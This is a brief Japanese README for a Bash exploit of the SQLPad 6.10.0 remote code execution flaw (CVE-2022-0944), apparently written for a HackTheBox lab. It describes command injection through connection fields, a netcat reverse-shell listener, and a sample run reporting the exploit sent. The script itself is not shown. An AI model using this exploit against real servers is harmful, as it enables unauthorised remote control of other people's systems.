
Refurbish
このBashスクリプトは、SQLPad 6.10.0のRCE脆弱性を悪用し、攻撃者がSQLPadのMySQLデータベース接続設定におけるhostおよびdatabaseフィールドを悪用してリモートコード実行(RCE)を達成することを可能にします。このエクスプロイトは、Node.jsのchild_processモジュールに対する無害化されていない処理を利用して任意のコマンドを実行し、最終的に攻撃者のマシンにリバースシェルを開きます。
nc -lvnp 9001でマシン上でリスナーをアクティブにしてください。┌──(kali㉿kali)-[~/HTB/machines/sightless]
└─$ ./CVE-2022-0944
Please make sure to start a listener on your attacking machine using the command:
nc -lvnp 9001
Waiting for you to set up the listener...
Press [Enter] when you are ready...
Please provide the target host (e.g., x.x.com):
x.example.com
Please provide your IP address (e.g., 10.10.16.3):
0.0.0.0
Exploit sent. If everything went well, check your listener for a connection on port 9001.
このコードは教育目的のみです。コンピュータシステムへの不正アクセスは違法です。許可を得た場合のみこのエクスプロイトを使用してください。